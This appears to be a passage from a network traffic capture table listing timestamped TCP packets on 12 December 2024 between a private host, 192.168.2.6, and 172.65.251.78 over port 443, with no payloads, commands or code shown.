Dec 12, 2024 12:59:25.570662975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.570674896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.570758104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.578052998 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.585585117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.585654974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.585704088 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.585712910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.585750103 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.593166113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.600701094 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.600759983 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.600769043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.608139038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.608220100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.608227968 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.615636110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.615792036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.615801096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.628077030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.628127098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.628210068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.628220081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.628268957 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.634226084 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.640620947 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.640665054 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.640680075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.640697956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.640750885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.646673918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.731266022 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.739209890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.739227057 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.739341021 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.743582010 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.743680000 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.743690968 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.743762016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.752434015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.752444029 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.752525091 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.760525942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.760535002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.760612011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.760643005 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.768508911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.768582106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.768594027 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.768666983 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.776102066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.776113987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.776213884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.779834986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.779844999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.780011892 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.787205935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.787293911 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.794543028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.794624090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.801901102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.801979065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.805773973 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.805905104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.813009977 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.813344002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.816788912 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.816898108 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.824162960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.824309111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.831579924 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.831785917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.838859081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.838978052 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.933726072 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.933835983 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.936531067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.936676979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.941932917 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.942117929 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.944701910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.944773912 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.949803114 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.949878931 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.954720974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.954797029 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.959532022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.959604025 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.962033033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.962095022 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.966723919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.966835976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.971404076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.971470118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.976069927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.976141930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.978477001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.978521109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.983210087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.983274937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.985677004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.985748053 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.990381956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.990453959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.995093107 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.995277882 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.999737024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.999805927 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.002216101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.002295017 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.005790949 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.005887032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.010375023 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.010473013 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.015103102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.015244007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.017724991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.017796993 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.022214890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.022309065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.038791895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.038803101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.038827896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.038904905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.038929939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.038958073 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.038973093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.041187048 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.041312933 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.130734921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.130765915 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.130815029 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.130827904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.130858898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.130858898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.141426086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.141453028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.141516924 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.141529083 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.141555071 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.141618967 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.159485102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.159519911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.159579992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.159590006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.159607887 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.159657955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.164416075 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.164439917 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.164524078 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.164524078 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.164530993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.164575100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.173419952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.173444986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.173480988 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.173487902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.173535109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.173535109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.183706045 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.183731079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.183772087 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.183783054 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.183826923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.183826923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.192747116 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.192789078 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.192854881 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.192854881 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.192862988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.193363905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.314491987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.314526081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.314587116 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.314587116 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.314608097 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.315330029 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.321091890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.321119070 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.321201086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.321201086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.321217060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.321280003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.327549934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.327580929 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.327620983 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.327646017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.327677965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.327677965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.334847927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.334872007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.334914923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.334939957 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.334994078 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.335110903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.342639923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.342664003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.342744112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.342744112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.342757940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.343132019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.349145889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.349169970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.349323988 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.349323988 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.349359989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.349502087 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.361741066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.361773968 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.361810923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.361821890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.361861944 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.361880064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.367036104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.367067099 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.367157936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.367157936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.367170095 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.367325068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.506515980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.506547928 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.506594896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.506617069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.506653070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.506653070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.513235092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.513261080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.513308048 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.513328075 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.513364077 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.513364077 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.519886971 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.519915104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.520018101 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.520018101 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.520031929 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.521559954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.526905060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.526928902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.526992083 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.527005911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.527082920 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.527339935 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.534308910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.534332991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.534385920 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.534399033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.534420967 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.534574986 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.541542053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.541568995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.541810036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.541826010 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.541883945 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.548331976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.548357964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.548429012 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.548429012 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.548439980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.548480988 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.554697990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.554728031 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.554806948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.554806948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.554820061 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.554919958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.700561047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.700594902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.700643063 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.700660944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.700706959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.700706959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.706643105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.706665993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.706742048 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.706742048 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.706754923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.706787109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.713370085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.713397026 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.713433981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.713449955 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.713495016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.713495016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.720772982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.720798016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.720879078 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.720890999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.721008062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.728132963 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.728179932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.728255987 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.728265047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.728281975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.728344917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.734926939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.734973907 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.735029936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.735029936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.735045910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.735294104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.742168903 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.742213011 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.742252111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.742252111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.742261887 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.742638111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.748611927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.748658895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.748723030 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.748723030 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.748733044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.748996019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.891011953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.891092062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.891175032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.891194105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.891215086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.891258001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.897006989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.897037983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.897255898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.897255898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.897274017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.897418022 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.904165983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.904202938 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.904247999 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.904259920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.904301882 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.911515951 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.911545038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.911608934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.911622047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.911655903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.911655903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.918979883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.919013977 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.919101954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.919101954 CET	49878	443	192.168.2.6	172.65.251.78
